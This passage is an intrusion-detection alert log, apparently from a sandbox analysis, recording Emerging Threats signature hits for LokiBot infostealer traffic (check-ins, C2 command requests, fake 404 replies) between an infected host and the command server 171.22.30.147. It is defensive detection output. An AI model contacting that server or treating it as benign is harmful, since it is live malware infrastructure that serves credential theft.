Source Port:	49788
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749895802024318 01/05/23-08:53:08.372653
SID:	2024318
Source Port:	49895
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750055802025381 01/05/23-08:53:56.183544
SID:	2025381
Source Port:	50055
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750011802024313 01/05/23-08:53:42.925761
SID:	2024313
Source Port:	50011
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497572025483 01/05/23-08:52:27.578914
SID:	2025483
Source Port:	80
Destination Port:	49757
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749895802024313 01/05/23-08:53:08.372653
SID:	2024313
Source Port:	49895
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749987802021641 01/05/23-08:53:36.549688
SID:	2021641
Source Port:	49987
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749834802024318 01/05/23-08:52:50.512718
SID:	2024318
Source Port:	49834
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749868802825766 01/05/23-08:53:01.029018
SID:	2825766
Source Port:	49868
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749722802025381 01/05/23-08:52:17.506386
SID:	2025381
Source Port:	49722
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749773802825766 01/05/23-08:52:31.909319
SID:	2825766
Source Port:	49773
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749986802825766 01/05/23-08:53:36.285692
SID:	2825766
Source Port:	49986
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750027802025381 01/05/23-08:53:48.599181
SID:	2025381
Source Port:	50027
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749892802021641 01/05/23-08:53:07.470439
SID:	2021641
Source Port:	49892
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749923802025381 01/05/23-08:53:17.329996
SID:	2025381
Source Port:	49923
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750050802025381 01/05/23-08:53:54.799294
SID:	2025381
Source Port:	50050
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749867802024313 01/05/23-08:53:00.773467
SID:	2024313
Source Port:	49867
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749817802025381 01/05/23-08:52:45.747633
SID:	2025381
Source Port:	49817
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749803802021641 01/05/23-08:52:41.905218
SID:	2021641
Source Port:	49803
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499742025483 01/05/23-08:53:33.180561
SID:	2025483
Source Port:	80
Destination Port:	49974
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750074802021641 01/05/23-08:54:01.233569
SID:	2021641
Source Port:	50074
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750024802825766 01/05/23-08:53:47.812882
SID:	2825766
Source Port:	50024
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749833802025381 01/05/23-08:52:50.090304
SID:	2025381
Source Port:	49833
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500352025483 01/05/23-08:53:50.821138
SID:	2025483
Source Port:	80
Destination Port:	50035
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749921802021641 01/05/23-08:53:16.794242
SID:	2021641
Source Port:	49921
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749982802021641 01/05/23-08:53:35.215314
SID:	2021641
Source Port:	49982
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750028802024313 01/05/23-08:53:48.853917
SID:	2024313
Source Port:	50028
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749728802024318 01/05/23-08:52:19.268418
SID:	2024318
Source Port:	49728
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499552025483 01/05/23-08:53:26.069151
SID:	2025483
Source Port:	80
Destination Port:	49955
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750056802024318 01/05/23-08:53:56.463023
SID:	2024318
Source Port:	50056
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500132025483 01/05/23-08:53:43.537023
SID:	2025483
Source Port:	80
Destination Port:	50013
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749912802024318 01/05/23-08:53:14.329479
SID:	2024318
Source Port:	49912
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749894802025381 01/05/23-08:53:08.006895
SID:	2025381
Source Port:	49894
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750028802024318 01/05/23-08:53:48.853917
SID:	2024318
Source Port:	50028
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750025802021641 01/05/23-08:53:48.086655
SID:	2021641
Source Port:	50025
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749750802025381 01/05/23-08:52:25.450968
SID:	2025381
Source Port:	49750
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750039802025381 01/05/23-08:53:51.865723
SID:	2025381
Source Port:	50039
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749777802024318 01/05/23-08:52:34.550245
SID:	2024318
Source Port:	49777
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749777802024313 01/05/23-08:52:34.550245
SID:	2024313
Source Port:	49777
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499332025483 01/05/23-08:53:20.124148
SID:	2025483
Source Port:	80
Destination Port:	49933
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750046802021641 01/05/23-08:53:53.748051
SID:	2021641
Source Port:	50046
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749774802021641 01/05/23-08:52:32.369884
SID:	2021641
Source Port:	49774
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749883802024313 01/05/23-08:53:05.037332
SID:	2024313
Source Port:	49883
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497602025483 01/05/23-08:52:28.390880
SID:	2025483
Source Port:	80
Destination Port:	49760
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749834802024313 01/05/23-08:52:50.512718
SID:	2024313
Source Port:	49834
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749830802825766 01/05/23-08:52:49.252221
SID:	2825766
Source Port:	49830
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749866802025381 01/05/23-08:53:00.520534
SID:	2025381
Source Port:	49866
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749883802024318 01/05/23-08:53:05.037332
SID:	2024318
Source Port:	49883
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500762025483 01/05/23-08:54:01.869812
SID:	2025483
Source Port:	80
Destination Port:	50076
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497272025483 01/05/23-08:52:19.059286
SID:	2025483
Source Port:	80
Destination Port:	49727
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749912802024313 01/05/23-08:53:14.329479
SID:	2024313
Source Port:	49912
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750029802825766 01/05/23-08:53:49.112211
SID:	2825766
Source Port:	50029
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749724802825766 01/05/23-08:52:18.098497
SID:	2825766
Source Port:	49724
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749728802024313 01/05/23-08:52:19.268418
SID:	2024313
Source Port:	49728
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497052025483 01/05/23-08:52:09.452565
SID:	2025483
Source Port:	80
Destination Port:	49705
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750056802024313 01/05/23-08:53:56.463023
SID:	2024313
Source Port:	50056
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749802802825766 01/05/23-08:52:41.641382
SID:	2825766
Source Port:	49802
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499962025483 01/05/23-08:53:39.013838
SID:	2025483
Source Port:	80
Destination Port:	49996
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750052802825766 01/05/23-08:53:55.369344
SID:	2825766
Source Port:	50052
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749723802024313 01/05/23-08:52:17.811814
SID:	2024313
Source Port:	49723
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500542025483 01/05/23-08:53:55.973562
SID:	2025483
Source Port:	80
Destination Port:	50054
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750051802024318 01/05/23-08:53:55.100340
SID:	2024318
Source Port:	50051
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749807802825766 01/05/23-08:52:43.044779
SID:	2825766
Source Port:	49807
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749746802021641 01/05/23-08:52:24.299560
SID:	2021641
Source Port:	49746
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749959802021641 01/05/23-08:53:28.075379
SID:	2021641
Source Port:	49959
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750051802024313 01/05/23-08:53:55.100340
SID:	2024313
Source Port:	50051
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749723802024318 01/05/23-08:52:17.811814
SID:	2024318
Source Port:	49723
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749815802021641 01/05/23-08:52:45.213789
SID:	2021641
Source Port:	49815
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749818802024318 01/05/23-08:52:46.013246
SID:	2024318
Source Port:	49818
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749855802024318 01/05/23-08:52:57.514506
SID:	2024318
Source Port:	49855
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497792025483 01/05/23-08:52:35.313919
SID:	2025483
Source Port:	80
Destination Port:	49779
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749824802021641 01/05/23-08:52:47.639113
SID:	2021641
Source Port:	49824
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749855802024313 01/05/23-08:52:57.514506
SID:	2024313
Source Port:	49855
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749818802024313 01/05/23-08:52:46.013246
SID:	2024313
Source Port:	49818
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749751802024313 01/05/23-08:52:25.762510
SID:	2024313
Source Port:	49751
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749843802021641 01/05/23-08:52:54.266621
SID:	2021641
Source Port:	49843
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749972802025381 01/05/23-08:53:32.566966
SID:	2025381
Source Port:	49972
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749846802024318 01/05/23-08:52:55.097334
SID:	2024318
Source Port:	49846
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497762025483 01/05/23-08:52:33.700899
SID:	2025483
Source Port:	80
Destination Port:	49776
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749911802025381 01/05/23-08:53:14.014731
SID:	2025381
Source Port:	49911
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749999802021641 01/05/23-08:53:39.715844
SID:	2021641
Source Port:	49999
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749760802024313 01/05/23-08:52:28.304789
SID:	2024313
Source Port:	49760
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749902802025381 01/05/23-08:53:11.610501
SID:	2025381
Source Port:	49902
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749760802024318 01/05/23-08:52:28.304789
SID:	2024318
Source Port:	49760
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749761802825766 01/05/23-08:52:28.591148
SID:	2825766
Source Port:	49761
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749751802024318 01/05/23-08:52:25.762510
SID:	2024318
Source Port:	49751
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497352025483 01/05/23-08:52:21.355667
SID:	2025483
Source Port:	80
Destination Port:	49735
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749856802825766 01/05/23-08:52:57.793570
SID:	2825766
Source Port:	49856
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750067802025381 01/05/23-08:53:59.373237
SID:	2025381
Source Port:	50067
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749857802025381 01/05/23-08:52:58.054307
SID:	2025381
Source Port:	49857
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749828802825766 01/05/23-08:52:48.735651
SID:	2825766
Source Port:	49828
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500732025483 01/05/23-08:54:01.037839
SID:	2025483
Source Port:	80
Destination Port:	50073
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750010802025381 01/05/23-08:53:42.643021
SID:	2025381
Source Port:	50010
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749720802021641 01/05/23-08:52:16.949813
SID:	2021641
Source Port:	49720
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750065802024313 01/05/23-08:53:58.843527
SID:	2024313
Source Port:	50065
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750078802825766 01/05/23-08:54:02.320663
SID:	2825766
Source Port:	50078
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749733802825766 01/05/23-08:52:20.679095
SID:	2825766
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749946802825766 01/05/23-08:53:23.547730
SID:	2825766
Source Port:	49946
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750077802024318 01/05/23-08:54:02.067623
SID:	2024318
Source Port:	50077
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749933802021641 01/05/23-08:53:20.043516
SID:	2021641
Source Port:	49933
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750077802024313 01/05/23-08:54:02.067623
SID:	2024313
Source Port:	50077
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

